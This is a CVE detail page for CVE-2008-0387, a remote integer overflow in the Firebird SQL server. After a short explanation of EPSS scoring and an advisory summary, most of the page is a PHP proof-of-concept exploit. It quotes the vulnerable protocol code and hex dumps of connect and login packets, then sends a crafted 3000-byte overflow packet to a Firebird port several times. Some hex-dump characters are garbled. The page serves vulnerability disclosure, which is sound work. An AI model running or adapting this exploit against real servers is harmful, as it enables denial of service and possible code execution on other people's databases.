CVE-2008-0387 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/27403/info Firebird is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to overflow a buffer and to corrupt process memory. Attackers may be able to execute arbitrary machine code in the context of an affected application. Failed exploit attempts will likely result in a denial-of-service condition. <?php /** * FIREBIRD REMOTE BUFFER OVERFLOW. * ITDEFENCE.ru Proof-of-Concept (POC) * Eugene Minaev ([email protected]) * * Integer overflow in Firebird SQL 1.0.3 and earlier, 1.5.x before 1.5.6, 2.0.x before 2.0.4, and 2.1.x before 2.1.0 * RC1 might allow remote attackers to execute arbitrary code via crafted op_receive, op_start, op_start_and_receive, * op_send, (5) op_start_and_send, and (6) op_start_send_and_receive XDR requests, which triggers memory corruption. * * Vulnerable packages * * Firebird SQL 1.0.3 and before. * Firebird SQL 1.5.5 and before. * Firebird SQL 2.0.3 and before. * Firebird SQL 2.1.0 Beta 2 and before. * * Non-vulnerable packages * * Firebird SQL 1.5.6 (to be released) * Firebird SQL 2.0.4 (to be released) * Firebird SQL 2.1.0 RC1 * * src/remote/protocol.cpp:417 * * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_request)); * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_incarnation)); * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_transaction)); * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_message_number)); * return xdr_request(xdrs, data->p_data_request, * data->p_data_message_number, * data->p_data_incarnation) ? P_TRUE(xdrs, p) : P_FALSE(xdrs, p); * * Firebird Connect Packet * * 0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E. * 0x0010 00 BC 00 00 00 00 40 06-00 25 C0 A8 7C 63 C0 A8 .&#1112;....@..%&#1040;&#1025;|c&#1040;&#1025; * 0x0020 7C 63 0B EA 0E 94 00 00-00 01 00 00 00 01 50 10 |c.&#1082;.?........P. * 0x0030 40 00 00 00 00 00 00 00-00 01 00 00 00 13 00 00 @............... * 0x0040 00 02 00 00 00 1D 00 00-00 3C 43 3A 5C 50 72 6F .........<C:\Pro * 0x0050 67 72 61 6D 20 46 69 6C-65 73 5C 46 69 72 65 62 gram Files\Fireb * 0x0060 69 72 64 5C 46 69 72 65-62 69 72 64 5F 31 5F 35 ird\Firebird_1_5 * 0x0070 5C 65 78 61 6D 70 6C 65-73 5C 45 4D 50 4C 4F 59 \examples\EMPLOY * 0x0080 45 45 2E 66 64 62 00 00-00 02 00 00 00 13 01 04 EE.fdb.......... * 0x0090 52 4F 4F 54 04 09 75 6E-64 65 72 77 68 61 74 06 ROOT..underwhat. * 0x00A0 00 00 00 00 00 08 00 00-00 01 00 00 00 02 00 00 ................ * 0x00B0 00 03 00 00 00 02 00 00-00 0A 00 00 00 01 00 00 ................ * 0x00C0 00 02 00 00 00 03 00 00-00 04 .......... * * Firebird Login Packet. * * 0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E. * 0x0010 00 94 00 00 6C 6C 40 06-93 E0 C0 A8 7C 63 C0 A8 .?..ll@.?&#1072;&#1040;&#1025;|c&#1040;&#1025; * 0x0020 7C 63 0B EA 0E 94 00 00-00 95 00 00 00 11 50 10 |c.&#1082;.?...?....P. * 0x0030 40 00 00 00 00 00 00 00-00 13 00 00 00 00 00 00 @............... * 0x0040 00 3C 43 3A 5C 50 72 6F-67 72 61 6D 20 46 69 6C .<C:\Program Fil * 0x0050 65 73 5C 46 69 72 65 62-69 72 64 5C 46 69 72 65 es\Firebird\Fire * 0x0060 62 69 72 64 5F 31 5F 35-5C 65 78 61 6D 70 6C 65 bird_1_5\example * 0x0070 73 5C 45 4D 50 4C 4F 59-45 45 2E 66 64 62 00 00 s\EMPLOYEE.fdb.. * 0x0080 00 1E 01 1C 06 53 59 53-44 42 41 1E 0B 51 50 33 .....SYSDBA..QP3 * 0x0090 4C 4D 5A 2F 4D 4A 68 2E-3A 04 00 00 00 00 3E 00 LMZ/MJh.:.....>. * 0x00A0 00 00 .. * */ $___suntzu = "\x00\x00\x00\x4a" . str_repeat( "\x4a" , 3000); for ($temp = 0; $temp < 5; $temp ++){ $___zuntzu = fsockopen('192.168.124.99',3050); fwrite($___zuntzu , $___suntzu); fclose($___zuntzu ); sleep(1); } ?>